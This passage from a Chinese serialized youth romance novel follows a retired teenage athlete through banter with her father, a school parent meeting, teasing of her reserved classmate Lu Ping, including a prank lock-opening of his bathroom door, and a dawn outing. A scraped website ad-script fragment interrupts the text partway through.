“我家恩恩难得回一趟,我不高兴谁高兴?”齐致得瑟极了,“我不宝贝她,你们这些一天到晚喊着要当我闺女干爹的人宝贝她?还有你,老李,我都不想说,笑得贼眉鼠眼的。” 众人大笑。 叔叔们都很关心齐恩,问过她腿脚的旧伤,又问她在学校怎么样。叶瑞林看齐恩什么话都能接上,偶尔还说点金句逗大家一乐。有些笑话是他们那个圈子才懂的,叶瑞林也不明白。 “齐致,你们家闺女不得了啊。”汪伯伯说,“小小年纪又是国家级运动员,又得了这么多奖、挣了那么多钱,还这么会来事儿,这当爹的又坐到这个位置,以后谁家小子敢娶她。” 齐致说找个踏实的就好,最主要是对齐恩好。 齐恩说那不行啊,我要找就找个盘靓条顺的。 小小年纪就挑上男模了。 老一辈们都是乐不可支。 “这小妮子,长得帅不能当饭吃啊。思想觉悟还不够,当爹的要多做一做思想工作啊。” “要让我爹给我做思想工作,你们今晚的酒局就放过他,让他在家里好好教育教育我!” “这话说的,行了齐致,你回家陪闺女吧。” 齐致嘴上说那怎么行,心底乐开花了,到傍晚下班就直奔菜市场,买了条鲈鱼烧给齐恩吃。 齐恩吃完午饭就被叶秘书送回家,她写了会儿作业,实在太困,倒头就睡。到晚上七点半,齐致烧好四菜一汤,去卧室门口喊闺女吃饭。 齐恩睡得正香,说了马上起,结果没动静。 齐致只能进去喊她。齐恩的脸蛋埋在被子里,脸颊线条紧致,没什么肉。孩子又瘦了。 齐致坐在床头端详良久,才轻手轻脚离开。 他当然不扰女儿清梦。 ……才怪。 齐致再次推门而入,这次声响宛若惊雷。 “我在厨房烧鱼烧得汗流!你还睡!还睡!” 齐恩一下子被他吵醒了。 24. 家长会上 俗话说得好,龙生龙,凤生凤,老鼠的儿子会打洞,齐恩怎样的性格,完全是随了她爹。 “爹,你能对你女儿好点吗?”齐恩嘟囔。 “我对你还不好?”齐致捏了捏她的脸蛋,“给我家孩子瘦成啥样了,不是都退役了吗,怎么还饥一顿饱一顿的?新中国成立是把你忘了?还是改革开放没带上咱们家,没钱让你吃饱了?赶紧给我吃饭,吃完上个称让我看看,要是没到一百一,看我给不给你喂增肥药!” “那完了。”齐恩躺平,“我就算撑死也就一百零几,你不懂,我拍广告也要控体啊。” “你没事也娱乐娱乐你爹我。”齐致推着她的肩膀,“别光顾着娱乐大众了,行吗?” “你还需要我娱乐?”齐恩被他推着往餐桌边去,“你自己搁那儿一杵,就老有节目了。” “我老了就有节目了。”齐致说,“筷子拿反了啊闺女,眼睛不好使的话,你把筷子尖往你鼻孔里插一下,要是插得进去,就是没拿反,插不进去就是拿反了,你鼻孔小遗传我。” “哎呀,我去你!”齐恩笑得不行了,“那我插自己鼻孔干嘛,□□鼻孔不就得了吗?” 这回换齐致笑了。 齐恩夹了一筷子红烧鱼,还是老味道,先炸后烧的鱼火候刚刚好,外皮焦脆,肉质鲜嫩。 “三个月就等着吃这一口。”齐恩搓了搓脸,“能不能把齐同志带到我们学校食堂啊?” “行啊,今年响应号召,下到基层呗,反正都是为人民服务。四十五正是闯的年纪。” “喔唷!你可千万不能在别人面前说这话。”齐恩停筷,“你算年轻的,又升得太快。” “你还教上我了?”齐致笑了,给她舀了两勺鸡蛋羹,“快吃,听你的话加了瘦肉沫。” “本来就是,我没说错。”齐恩给他讲道理,“人贵在一个低调,我们学校主任教我的。” 说到学校,齐致问她适应得怎么样。亲爹不是外人,齐恩实话实说,那一堆醪糟事儿都翻了一遍。齐致一边喝汤一边听,女儿像爹,做事周全缜密,这点都不用人教,他也很满意。 “你说你,偏偏就随了我。” “你就往自己脸上贴金吧。” “哦对了,咱们学校下周要办一个家长会。”齐恩顿了顿,“我本来是想让你去的……” 有时这一遭身份并不是光环,而是交友中的枷锁。 齐致不想齐恩在最该交朋友的年龄有过多的顾虑。 “但是我闺女的家长会,没人去也不合适。” “让赵叔叔去呗,他不也算我半个家长么?” “人家新官上任三把火呢,哪有空管你那闲事。让叶秘书去吧,正好明天送你回榕城。” “瞎搞!叶秘书那么年轻,还没成家呢!” “人家跟着我也不久,我不吩咐,以为我端架子,也得让他办点事。”齐致在生活上确实不需要什么秘书,因此让叶瑞林做的事也不多。 “考察他是吧?”齐恩想了想。 “他今天接待我挺周全的。” “哟,在你这儿下功夫了,给他美言了。” “实话实说好吧!”齐恩扒了两口饭。 “多吃点,吃完随领导安排我今晚的活动。” 齐恩提议道:“那你跟我去滑冰吧,之前老说要我教你,结果你到现在连平地滑都不会。” “可别,我这一把老骨头,还没退休呢,要是哪里是磕了碰了,医保报销都只能报六成。” “我去你!”齐恩急眼了,“你说了任我安排的!而且谁刚才说四十岁正是闯的年纪?” 齐致哪里敢拂女儿的面子:“行行行,我去,我去。先说好,你这回牵着我不能撒手啊。” “我撒手就让小猫咬屁股蛋子。” “闺女,你上回也这么说的。” “……” 周一的家长会上,叶瑞林特意换了身撑场面的黑色正装,又把有度数的细框眼镜摘下来了,这么一看还真像齐恩的哥哥。其实在工作中,反而鲜少有需要打扮得这么正式的时候。 一进十七班,叶瑞林就看到正在和同桌聊天的齐恩,他搬了把凳子坐领导家女儿的旁边。 “穿这么正式,很帅哦。”齐恩不吝对他的称赞,“待会儿让我拍一张,给我爹也看看。” “千万别。你别打趣我了。”叶瑞林很腼腆。 高玟回头,眼睛一亮:“啊呀!这是你哥吗齐恩?你怎么从来没说过还有个这么帅的哥!” 高玟妈妈就坐在齐恩的左手边,闻言拍了高玟一下,又对叶瑞林笑笑:“这孩子就这样,口无遮拦惯了,你是齐恩哥哥?亲哥还是表哥?表哥啊,今年多大?二十六?这么年轻呐?” 袁礼米家也是妈妈来,她妈是秀秀气气的中年女人,看得出上了年纪,但打扮十分得体。 齐恩先前和袁妈妈聊过两句,袁妈妈就是说话慢吞吞的,像树懒,这倒是和袁礼米一样的。 高玟妈很健谈,看叶瑞林一表人才,又问他在哪里高就,有没有对象。职务么,叶瑞林当然不便透露,好在找过了托辞,应答不出差错。 家长们正聊着天,就听见门口传来一道洪亮如钟的男声:“哎呀刘老师,不要跟我客气啊,我们家谌俞平时可多亏了你关照咧,来来来,食不食烟?不食?得闲来我屋里饮茶嘅。” 齐恩没忍住笑出了声,悄悄和高玟耳语。 “那是谌俞他爹?感觉好像广东老板啊。” “本来就是老板啊。他家就是搞房地产的。” 嚯,果然是。东西南北中,发财来广东。 只见谌俞老实本分地跟在他爹后面,小麦色的俊脸涨得通红,恨不得钻到地底的样子:“爸你就不能小点声儿吗?里面的人都听见了。” “听见就听见嘛!唔使急,聊多阵先嗷!” “再聊下去家长会都要开了,先进去吧。” 谌俞一进班门,看到大半同学和家长都在低头忍笑,就知道这洋相是出完了。所以他才不想他爹来家长会,每次都给大伙儿添新笑料,他都千叮咛万嘱咐让老妈来,结果来的还是爹。 他灰溜溜到座位上,心仪的女孩和她的好闺蜜频频回头,似在忍笑,谌俞想死的心都有了。 谌爹却是个耐不住寂寞的,很快和高玟他爹聊了起来,分烟的时候才注意到年轻的叶瑞林。 他视线一转,旁边是一个白净的女同学,骨相英气招展,眉眼如国画。谌老板脸都笑开花:“靓女,我知你,谌俞在家总和我说你嘅。” “诶,爸!”谌俞拦他,“我哪有总说啊?” 齐恩笑得灿烂,朝他大方问侯:“叔叔好。” 谌爹一看自家儿子这款应,就知道眼前这靓女绝对是他暗恋的那个齐恩,正要攀一攀关系,上课铃打响,家长会开始了。刘彩刚刚上台,一位西装革履的中年男人踩着点进了班门。 紧接着是脸色阴郁的张其薪。 这个人应该就是张其薪的爸爸。 张其传,齐恩之前听叔叔们说过,面容也和眼前的男人对上。只不过网上的照片慈眉善目,现实中确实更显严肃刻板。张爸爸一言不发,直接坐在张其薪的位置上,张其薪只好站着。 高玟妈妈好心递了一张椅子过去。 张爸爸瞥了一眼:“让他站着。” 张其薪原本伸手欲接的动作停滞。 齐恩和高玟、袁礼米对视一眼。 高玟压低了声量:“我早跟你说了吧,张其薪他爹超级恐怖的,在他面前我大气不敢喘。” “是有点儿。”齐恩都于心不忍了,“大家都坐着,就让张其薪一个人站着,多尴尬啊。” 很快,齐恩就知道了张其薪站着的原因,因为刘彩让张其薪上台主持本次家长会。同学们才注意到张其薪穿的也很正式,白衬衫配西裤。 张其薪站在台上主持发言,打开了PPT,认真地分析十七班这学期的成绩情况,看得出是他自己制作的课件,讲述十分详细、没有遗漏。 与此同时,张爸爸冷峻的面色也渐渐和缓了,他对张其薪的满意与否,似乎全展现在脸上。 其余的家长也听得很认真,特别是谌俞他爸,频频点头,在听到张其薪月考总分全年级第一时,更是激情洋溢喊了一声:“好孩子!!” 高玟忍笑忍得好厉害:“我要受不了谌俞他爹了,他爹初中就是这样。”她和谌俞初中一个学校,但不在一个班,经常能听到他爹的事。 “他爹特别二,有 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同学们该放学的放学,该补课的补课。 事也办完了,叶瑞林要开夜车回广城,齐恩把他给送到学校门口,给人家订了一杯黑冰咖。 “喝了路上不犯困,开夜路要当心点儿啊。” “好的。”叶瑞林下意识欠了欠身。 等反应过来,自己都愣了一下。 怎么像跟着的是领导本人呢。 落日余晖,齐恩往教学楼走,不知不觉就想到了卢俜,想到那天晚上他说起他的家事,想到他用很恬静平和的语气说,她只是不在乎我。 他妈妈来开他的家长会吗? 齐恩没有回班,偷偷溜到高二一班的后门,往里面看,并没有看到卢俜的家长,就连卢俜的人影也没有。奇怪,哪儿去了。齐恩正打算再仔细瞧,肩膀被轻微而克制的力度点了一下。 齐恩回头,看到了卢俜。 “原来你不在里面啊。” 卢俜示意手里的一沓回执单:“柯老师还要再讲半小时,让我先去把回执单交给温主任。” “我陪你。”齐恩抬脚跟上了他。 “你妈妈没来开你的家长会啊?” 卢俜垂下眼睫:“……没有。” 齐恩张了张口,随即很爽朗地大笑,拍了拍他的后背:“好事!柯女王想批你都批不了!” “她没有批过我。”事实上,卢俜从没挨过老师的批评。谁会对一个三好学生不假辞色。 齐恩抠了抠下巴,好在卢俜也看出她安慰的意图,他扯开话题:”你们班家长会结束了?” “是啊。”齐恩跟他说家长会上发生的趣事。温主任不在办公室,是别的老师在收回执单。 两人出了办公室,齐恩摸着肚子:“好饿啊,要不你把家长会给翘了,我们去吃拉面吧。” 卢俜竟然认真考虑了可行性:“我要清书包,还是得回班一趟,而且会被老师发现的。” “哦对,你好歹是个班长。” 卢俜以不大的幅度颔首。 “诶,有了!你来我们班待会儿!” 卢俜迟疑道:“那样不太好吧。” “怕什么,我们班的人都走光了。” 卢俜不愿和她在走廊上拉拉扯扯。 “好吧,就一会儿。” 他选择了妥协。 谁知齐恩突然笑得花枝乱颤。 卢俜并不清楚她在笑什么。 两人进了十七班的班门,班上空无一人。 齐恩背过身把门关上,仍然止不住笑。 卢俜终于开口问:“你到底在笑什么?” 齐恩朝卢俜勾了勾手,让他凑过去听。 卢俜不解地俯身,齐恩凑近了些,悄声同他说话,气息是香扑扑热乎乎的。“没人的时候,就可以。”她咬耳朵,“你是这个意思?” 卢俜心想自己绝对不是这个意思。 齐恩却藏掖着坏心眼,不依不饶。 “卢俜,你有没有感觉……” 她眨了眨美丽动人的眼。 “我们像在偷情?” 25. 有意思吗 偷情。 卢俜的脑子嗡嗡地响。 “……别再拿我寻乐子了。齐恩。” 他抬起手臂,掩盖住通红的鼻尖。 卢俜很少当面叫齐恩的名字。 还是如此郑重其事的警告。 齐恩也意识到自己的行为过火了。 “好啦好啦,知道啦,不和你开玩笑啦。其实我是有一个小忙要你帮。”她正色,又把不知所措的卢俜摁在讲台前排的座位上,“你先坐在这儿,等我一会儿,我要去准备准备。” “……可是我没有答应要帮你。” 卢俜小声说,还是乖乖坐住。 齐恩离开了,留卢俜一个人在空旷的教室里。指关节敲打桌面,他忐忑而不失好奇地等待。 齐恩没有让他等太久,她很快又进来了。 但是变了个样儿,长发盘起,穿着正装。 最重要的是,她一手抱着教案,一手堪堪插在侧腰,不时缕一缕耳边碎发,或者推一推鼻梁上的红方框眼镜……红眼镜,卢俜察觉到齐恩扮演的角色是谁———一班的班主任,柯俐。 原因无他,那尖酸刻薄的神态简直太像了。 “安静啊,都安静。”她扭着腰肢走进班,“啪”地一声把教案拍在黑板上,撑着讲台。 “今天谁做的值日?黑板黑板不擦,粉笔盒粉笔盒不清,别的老师来我们班怎么想?!” 卢俜紧紧抿住唇。 他在尽力忍笑。 齐恩却已经踱步到黑板前,抱着臂,圆规一样叉着脚站立。她端详着黑板上没来得及擦的“十七班家长会”,又抬手拿起黑板擦,先在托盘上轻蹭两下。这确实是柯俐的标准动作。 卢俜惊讶于她对种种细节的刻画。 就好像她曾在一班的教室里听课。 齐恩擦掉“十七班”的字样。 她写上了“卢俜”两个字。 “卢俜家长会。”她还无意识地重复了一遍,柯俐有时候是会碎碎念,重复以加深印象。 但是以他命名的家长会是什么意思?齐恩下一秒就解释:“专门为卢俜同学开的家长会。” “顾名思义,这个家长会只有卢俜参加。” 齐恩婀娜地走到卢俜身边,微微欠下身。 “卢俜同学~”她完全演出了柯俐的谄媚,“你的家长呢,怎么没有来?是堵车了吗?” 卢俜还不知道如何作答,齐恩竟然一屁股挤走了他,自己坐在座位上。“老师。”她垂下眼睫,抿了抿唇,冷淡地道,“我妈妈有事。” 齐恩怎么连他都演。 卢俜脸上浮现红云。 “再怎么忙也不能把孩子的家长会忘掉啊。”齐恩义愤填膺,“卢俜同学,你可是我们班的表率,是全年级最优秀的孩子!你妈妈怎么可以不来?我看要严重处分你妈妈才行!” 处分梗,这个卢俜倒是听懂了。 柯俐动不动就拿处分威胁学生。 齐恩又坐回去,整个人靠着椅背上,明明没有受到外力,却仿佛被什么东西压弯了肩背。 她深深地吸了一口气,声音却变得很轻浅。 “她只是……不在乎我。” 卢俜藏在镜片下的瞳孔缩了缩。 只是下一秒,事情又有新的转机,齐恩径直夺门而出,又夺门而入,“卢俜!妈妈来了!”她大步走过来,这次是在卢俜身边坐下了。 “卢俜妈妈,你平时不关注孩子的成绩也就算了,这都高三的关键时候了,怎么还这样?” “抱歉啊,柯老师,我最近确实工作比较忙。卢俜这孩子学习好,平时也省心,我就……” “省心是一回事!关心又是一回事!你有关注过孩子的心理健康吗?你知不知道,你家孩子每天不是读书就是做题,没有一点交友的空间,哦!最近他倒是和一个坏学生混迹上了!就十七班那个齐恩!一看她学习成绩就不好,年级里吊车尾的,什么坏事都有她参与……” 卢俜突然开口:“……不是的。” 齐恩被打断,意外地挑了挑眉。 “你不是坏学生,别那么说。”卢俜的手捏紧桌沿,“而且……我妈妈也不是那种性格。” “那你妈妈是什么样的性格。”齐恩于是终止了表演,掉转椅子的方向,和他面对面沟通。 卢俜自己形容不出来。 “反正不是你演的那样。” “好吧,因为我没有接触过她。”齐恩无奈地耸肩,“对我来说,这个人是陌生的,只存在于你的只言片语,你形容的越少,我对她了解越少。了解不够的角色,我演绎不出来啊。” “你演得很好了。”卢俜发自真心。 “真的假的哟,你可别恭维我啊。” “不是恭维。”卢俜想了想又问,“你是不是听过柯俐的课?还是只听了别人说的就……” “我又不是尖子班的,哪有幸听过她的课?”齐恩摆摆手,“都是别人说,我照着想象。” “即使天天上她的课,我也演不出来。”卢俜不得不承认,“你在表演上确实很有天赋。” “你把我夸美了。”齐恩趴在桌上,抬起明亮澄澈的眼问他,“怎么样,卢俜家长会?” “……你的眼镜是哪里来的?” “喂!别试图转移话题啊!” 卢俜只好如实回答:“……还可以吧。” “哈?我都这么卖力了,居然只是还可以?”齐恩破防了:“处分!我要让柯俐处分你!” 卢俜笑了起来,确实,他这回没能忍住。 齐恩歪着头,欣赏着他那难得的笑容。 “你笑起来很甜啊,你有笑弧,你知道吗?”齐恩求他,“卢甜甜,你能不能再笑一个?” 卢俜脸色倏然沉下:“……别那么喊我。” “嚯,变成噜脸小猫了。”齐恩瘪了瘪嘴。 又一次下课铃声响起。 一班的家长会也结束了。 卢俜说:“我先回班收拾书包,等我一下。” “好,那我在你们班那一侧的楼梯口等你。” 卢俜把黑板上那啼笑皆非的“卢俜家长会”擦掉才转身离开。齐恩在自己的座位上清书包,周末要用的复习资料带上,课外书也带上。书包鼓鼓囊囊,单肩背着,校服外套系在腰上。 她慢悠悠往一班走,走廊没什么人,阳光透过天窗照进来。皮肤上的冷气还未散尽,被属于室外的热浪再洗一遍。脚边有光构成金格,空气里散漫的尘埃,齐恩单脚跳进想象的冰场。 是夏天的感觉, 此时此刻,周诠拖着疲惫的步伐,走出弟弟的教室,他刚刚听完了一场冗杂无趣的家长会。 下一秒,就看到不可思议的一幕。 走廊的另一端,肤色白皙、发尾漆黑的精灵在旋跃。阳光也偏爱貌美的人,在她高挺的鼻梁染几粒金斑,在她如湖的眼底洒一串虹彩。 在无端躁动的余热里。 美得不可方物。 周诠不舍得移开目光半分。 直到精灵也察觉他的注视。 “周诠?你怎么在这儿?” “给我弟弟开家长会……” 话音刚落,周第从他身后探脑袋,指着齐恩。 “哥,这就是前段时间欺负我的那个女生!” 一时间,三个人都陷入了沉默。 “原来是这么回事。”周诠抢白,“我明白了,是周第不对,我代替他给你赔个不是。” 周第分外不解:“哥你刚才还说……” 周诠重咳一声打断他:“没有的事。” 齐恩了然,周第这是搬救兵砸了自己的脚。虽然是亲哥,可周诠这次没有向着他的意思。 “世界还真小。”齐恩也不禁感叹。 “是啊,当时周第跟我告状,说有个女生欺负他。”周诠说,“我说让他欺负回去啊,总是来找我干嘛,他说人家长得略有姿色,他不好意思,我就没放在心上,没想到居然是你。” “哥!这个就别往外说了!” 周第急头白脸去捂他的嘴。 “诶,我必须要澄清啊。”齐恩蹙眉,“两件事,一我没欺负你弟,二我不是略有姿色。” “我是天人之姿。” 周第:“……” 周诠:“总之我弟就是这样,平时也不给我们省心,在学校里乱惹事。你别和他一般计较,这样,我们还是交换个联系方式,下次他再犯浑,你直接给我发消息,我来学校治他。” 齐恩喜笑颜开,掏出手机:“这感情好啊。” 周第气亲哥把他卖了:“哥你不能这样!!” 交换了联系方式,这真是意外之喜,周诠又和齐恩寒暄几句,看了一眼腕间的理查德米勒:“现在时间也不早了,我订了餐厅,赏脸吃个晚饭吧?就当我和周第一块儿给你赔罪。” “不了。”齐恩看向班门口,“我等人呢。” “你朋友啊?”他心想,应该不是男朋友吧。 “我邻居。”齐恩大方地朝卢俜招手,“这边!等你好久了都,清个书包清了半辈子!” “被班主任留下谈了一会儿话。”卢俜解释。 “理解。”齐恩说,“那我们走啦,回见。” “回见,周第,还不跟人同学说再见?” 周第不情不愿照做,到车上才彻底撂了脸子。 “哥!你对那个齐恩那么客气干什么?!” “她是飞燕师妹,再怎么也要做表面功夫。” “你那是表面功夫?”周第对周诠何尝不了解,看他尚存荡漾之色,毫不客气地拆穿。 “你就是看人家好看吧?你这个死颜狗,看见美女就走不动道,都有郑姐姐了,还这样!” 周诠见他不语,又起疑心:“该不会……” 周诠笑意隐晦。 他反应过来,整张脸红成猪肝色:“哥,人家可和你差了四岁,是我的同学啊!你……” “四岁又不多。”周诠打方向盘,点了一根烟,“都是一个圈子的人,其实也挺方便。” “哥!”周第不可置信,“你在北京上大学到底上了个啥回来啊,难怪爹说你搞了邪了!” “有时候你替人家操心,人家巴不得呢,也不看看我们的家世。”周诠点烟灰,“你还小,有些事和你说了也不懂,以后出社会看看就知道了。像我们这种人,权色交易总是有的。” 齐恩确实很美,周第承认,可他也没想过那种事,这不就是老师上课说的“物化女性”吗? “那……难道你和郑姐姐也是交易吗?”周第问,“我一直以为,你们以后是要结婚的。” “爸有给我安排正经的结婚对象。”周诠淡淡地道,“在这之前,多玩个几年再说吧。” . 齐恩和卢俜在街区的老拉面馆里填饱肚子。齐恩点了一份猪骨拉面和两盘炸物,卢俜只点了冷面,他现在对齐恩的饭量也有所了解,点的多,吃的少,往往战斗欲望高,战斗力不足。 果然,齐恩吃了半碗拉面,炸物每串咬了两口,就摆手说吃不下了。卢俜无奈放下筷子,齐恩连忙把自己吃剩下的炸串推到他面前:“你还在长身体,多吃点,吃饱了好做题。” “……吃不下就别点那么多。” 齐恩说非也非也:“我给你讲个故事,女孩和男孩是好朋友,男孩家里特穷,在学校里只吃得起汤泡饭,女孩每次就买一份饭,打很多很多菜,最后推到男孩面前说自己吃不下了。” 卢俜心平气和:“你是那个意思吗?” “不是。”齐恩摆手,“我就是爱点。” “……” 两人吃完往家里走。齐恩最近忙着拍摄广告,都没怎么学,两次周考遗留了许多陈年老题,时间紧、任务重,她干脆到卢俜家熬夜赶工。 讲了一张卷子,花了将近三个小时。 齐恩烧的是脑,卢俜烧的是喉咙。 两人占据了茶几的两端,齐恩订正完错题本,看到卢俜埋头写题,于是决定不打扰他了。 拿出政治必刷题,齐恩按照往常的节奏了两套卷 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 子,还是先做选择后做主观题的顺序。题目有点难,一套错了三道,另一套错了两道,但也查漏补缺了不少。时间不知不觉到了凌晨。 “你还不困吗?”齐恩咬着笔杆子问。 卢俜摘下了眼镜:“……我还好。” 齐恩很好奇他的厚框眼镜,顺手拿过,戴上:“你这镜片怎么没度数啊?纯装逼用的?” “你别戴。”卢俜伸手去拿,“防蓝光的。” “这有什么,让我戴一下嘛。”齐恩闪躲着,又瞬间严肃了脸色,“卢俜,请你自重!” 齐恩在扮演他,城市便捷酒店那夜的台词。 卢俜更不淡定了:“还给我……你别闹了。” 齐恩却坏心一笑,故意把脸凑过去:“好啊。你来摘啊,快点儿,不是说要我还你吗?” 卢俜踌躇片刻,不敢上手,只能干着急。 他现在也清楚了齐恩的性子,有些事儿,你就不能和她唱反调,你越气她越乐呵,最扫兴的办法就是装不在乎。他干脆不要眼镜了,她爱戴就戴着吧,待会儿觉得没意思就摘下了。 卢俜说了声“随便你”,就坐回去刷自己的题。齐恩果然切了一声,却没有摘下眼镜。 这么一闹,倒是提了神,齐恩就着学神的眼镜加持,写了几页英语阅读,果然大有效果。 论熬夜,卢俜当然不是齐恩的对手,她越写越精神,他却困倦反复。意识到再学下去效率也不高,他停下了笔,委婉地说:“时候也不早了,明天再来学吧。”意思是自己要睡觉了。 齐恩以胜利者的姿态:“你熬不住啦?” “……不太行。”卢俜揉了揉眼框。 齐恩“啧”了一声:“你是一个男人啊,男人怎么能随便说不行呢?有点尊严好不好?” 卢俜对她的话选择性理解,又说自己生物钟就是那样,不习惯熬夜晚睡,也不习惯赖床。 “诶,你有没有见过凌晨四五点的榕城?” “没有。”卢俜顿了顿,“你该不会……” “没错儿!”齐恩兴致勃勃。 “我们一起去看日出吧!” “……你疯了?” “什么疯了,这叫鲜衣怒马少年时,不负韶华行且知!”齐恩慷慨陈词,“读万卷书行万里路,你都读了一百万卷了,偶尔也要看看这个世界吧!一天到晚在家里,会被憋死的!” “也没必要四五点……” “打住!我问你有过人的体温吗?有过心跳吗?闻过花香吗?看得出天空的颜色吗?你流过眼泪吗?世上有人爱你情愿为你去死吗?” 卢俜竟被她弄得无措:“……没有。” “那还等什么,就在今天,就在脚下!” 真是,卢俜心想,鬼话连篇。 但他并不想拂了她的好兴致。 “好吧,如果你执意要这样的话。”卢俜说,“我去洗个澡精神一下,应该能还熬。” “好耶!”齐恩跳了起来,眼镜从鼻尖滑落,要掉到沙发上,又被卢俜中途接住。 他莫名松了口气。 卢俜去洗澡,齐恩怕他待会儿还犯困,回家取了两罐冰咖啡。再到卢俜家时,他还没洗完。 齐恩一边刷视频一边喝咖啡,听着浴室哗啦啦的水声喝了半罐子,突然想起城市便捷那次。 “喂,卢俜。”她朝卫生间喊,“你还敢当着我的面洗澡?你就不怕我进来把你看光?” “……别搞!”卢俜在里面呵斥。 “你猜我搞不搞?”齐恩语气玩味。 卢俜有些慌乱:“齐恩……你别没完了!” 齐恩说我不搞,我不搞,手却悄悄握住门把。 “芝麻开门!!!” 她大力拧动把手。 下一刻,齐恩的笑容僵住。 “哼,你搞也没用,难道我不知道锁门吗?” 难得的,他这种内敛的人把得意摆在明面上。 这还是头一次,齐恩没能如愿地捉弄卢俜。 她冷哂:“你还真是吃一堑、长一智啊。” “承让。”卢俜终于守住了身子。 “哦?是吗?”齐恩眯了眯眼。 卢俜见外面许久没了动静,这才放下心来。 他惬意地洗了个澡,终于不用防贼一样防着。 只是,就在穿衣时,再次听见那轻佻的声线。 “卢俜,你信不信我会开锁?” 骗鬼呢,卢俜当然不信。 “我真的会。”齐恩悠哉悠哉的,“信我。” “行。”卢俜冷笑,“你开一个给我看看。” 齐恩等的就是他这一句。 话音未落,门锁被卸下。 芝麻。 开门。 “硬币锁,直接秒了!”齐恩大笑着破门而入,“哈哈哈,服不服?就问你服不服?!” 撞入眼帘的是惊慌失措的卢俜。他只围了一条短短的男士浴巾,上到小腹部,下到大腿根。最关键的被遮起来,透过浴巾能看出鼓胀起的幅度,看不到太多,齐恩的视线只能往上移。 必须得承认,瘦也有瘦的好处,起码卢俜这样就瘦得刚刚好。身长骨架宽,不显孱弱,反而是薄而劲的肌肉,腰部的线条也是细致流畅。这样其实也不错,穿衣显瘦,脱衣不显索然,既有少年人的清爽,也有成年人的……涩气。 卢俜还处于宕机状态,木讷地抬起了头。只是几秒钟,他的脸颊已经红得能滴血,湿漉漉的卷发耷在额前,青涩又可怜,像淋湿的小猫。 “你……”他屈辱地切着齿。 齐恩还不觉事大,失望至极地叹息了一声:“怎么啊,还以为是□□版的,没意思。” 人家围得很严实,说到底还是防住了,齐恩有点挫败,早知道刚才趁着水声没停就进来了,她兀自嘀咕了两句“没意思”,就要退出去。 卢俜大步上前,脸色极端阴沉,按住她肩膀。 “那什么有意思?”他说,“这样欺负我。” “……你觉得有意思吗?” 26. 少男法则 雾气还未散去,卢俜的身上蒸腾出丝丝热量。他从身后遏制住她,却觉得自己才是被拿捏的那一个。齐恩,即使她只是伫立在那儿,单单一个笑容,或干脆就面无表情,都游刃有余。 都像是在为难他。 为什么要这样? “为什么总是这样?”卢俜把手扣在她的肩膀上,使她正对着他。他本来想表现出生气,可额前的发尾沁出了水珠,顺着浅褐的下眼睫,划过气得愠红的眼尾,流到颧骨,再是脸颊,再是明显的下颚和锁骨间。这样让他看起来莫名委屈,卢俜没有哭,只是心存许多疑惑。 “总是什么?”齐恩同他对视。 “……欺负我。”卢俜在重复。 齐恩盯着他的脸,她没有害羞的时候,反而是他被盯得气势渐弱。卢俜还不想那么快就放弃警告的意图,他缓缓逼近她,以为压迫她就能让她长教训。他只是不想她弄得太过火了。 可齐恩就是齐恩。 “就欺负你。”她顽劣地笑。 “就欺负你,我就欺负你。” “那为什么?”卢俜蹙眉,既不理解,也觉得没必要,“欺负一个人,就那么有意思吗?” “因为是你,所以有意思。”齐恩笑得唇红齿白,“我喜欢看你生气,你生气给我看看?” “……我不是真的没脾气。”卢俜说。 “我知道啊,那你对我发一发呗。” “……”卢俜最终还是缓缓松开她。 他心底生出挫败、茫然、无可奈何。 诸多的情感在狭窄的地带徘徊。 像一条没有彼端的险路。 四周都是迷雾,卢俜不敢往前。 却又苦于没有理由退后。 “……我去穿衣服。”他干脆绕开她,往外面走去。卧室,客厅,随便什么地方,只要没有齐恩在,他就能冷静下来,重拾那份使他安心的理性。卢俜关上房门,找出一件短袖穿上。 在书桌前坐了一会儿,他又走出去。这回已经和以往任何一次被她捉弄完一样。齐恩还是朝他施以善意,把冰咖啡递给他。生气了吗生气了吗?齐恩问,卢俜接过咖啡罐,回答没有。 只有卢俜自己的内心深处知道。 发生了某些无可挽回的变化。 齐恩把剩下的半罐咖啡喝完,就认真地扑回题海里。她还是那样,捉弄完别人,自己却可以很快就做到若无其事。卢俜的脑海里不断回闪着方才浴室里发生的事,她说,她就欺负他。 她为什么就欺负他? 他还是没得到答案。 卢俜也写题,写题总比思考这种难题简单。也不知道过去了多久,齐恩敲了敲他的桌面。 “四点钟了。”她说,“走吧,去看日出。” 卢俜说好,摘下了眼镜,精神都有些恍惚。 咖啡因支撑起疲惫的灵魂,卢俜起身穿袜子,问要去哪里看日出。“我知道一个好地方。”齐恩十分有把握,“你跟着我来就是了。” 他们出了小区,外面还是黑的。凌晨四点的榕城,卢俜确实见识到了。像来到城市的背面,黑夜是人们休憩的季节,即使街面上有燥热的风扫荡着,但也显得冷清;路灯是黄澄澄的,和整座钢筋水泥的巨物共同休憩,老街区的供电使它时明时暗,却也像动物浅眠时的呼吸。 “怎么样?”齐恩张开双臂,倒着走。 卢俜四顾:“……我以为街上没人。” 聚民街区是人口密度很大的地方。 闹市区,地租低廉,又在市中心。 时间是凌晨四点五十,菜市场已经挤满了人。街道太逼仄,一辆货车就填满了单行车道。 轰隆隆的引擎声很聒噪。 “喏,都是摊贩们在进货。”齐恩抬抬下巴,“有一次路过,还过去帮摊主搭了把手。” 周围太嘈杂,指挥卸货的中年人在怒喝。卢俜只能稍微靠近了些:“你经常这个点出来?” “没退役的时候,心情不好的时候。” 齐恩跨越过一条小股流淌的污水带。 “……为什么心情不好?” “心情不好就是心情不好啊。”齐恩理所当然,“你放心,我没有要倒垃圾的企图。有的人说心情不好,可能是抱怨,希望能找到倾诉的人,或者就希望得到面前这个人的安慰。” “我不是那意思,心情不好就是心情不好。”她举例子,“有时候体重上涨了心情不好,有时候考差了心情不好,耳机掉了也心情不好,偶尔看到网上对我的恶评,心情就会变差。” 都是琐碎的小事。 卢俜不能够共情。 卢俜不是容易感伤的人,即使有时候遭遇突如其来的变故,也许是好事,也许是坏事,他也能以解决为目的行进下去。结果比过程重要,卢俜是相信这句话的人,他看的也只有这个。 “看日出,就能缓解心情?” “其实是享受那种氛围。” “看到很多和自己一样的生命在活动,人就会觉得宽慰,觉得天塌下来不过是一时的,世界不会因为你陷入低谷而停止运行。这种时候就有心力想深奥的问题,然后告诉自己答案。” “多接触他人的世界,以缓解独我的情绪?” 